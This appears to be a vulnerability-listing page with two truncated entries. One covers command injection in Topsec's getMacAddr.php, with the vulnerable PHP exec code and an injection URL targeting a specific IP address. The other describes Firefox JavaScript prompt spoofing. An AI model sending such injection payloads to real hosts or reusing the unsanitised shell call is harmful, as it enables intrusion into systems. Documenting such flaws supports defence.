天融信Topsec系统 getMacAddr.php 命令执行

getMacAddr.php: code 区域 '; ? 跟进getMacAddrFromIfName code 区域 function getMacAddrFromIfName$ifName $mac = execute'cat /sys/class/net/' . trim$ifName . '/address'-get'output'; if$mac != null && $mac != '' return $mac0; else return ''; http://218.206.217.19:8080/acc/network/getMacAddr.php?eth= | echo...

Mozilla Firefox JavaScript Prompt Spoofing Weakness

There exist two seperate security issues in Mozilla Firefox concerning JavaScript prompts appearing from domain which is not the true origin. The first is about spawning JavaScript prompted message over web page of another domain, so in effect, the address bar and the browser content are from one...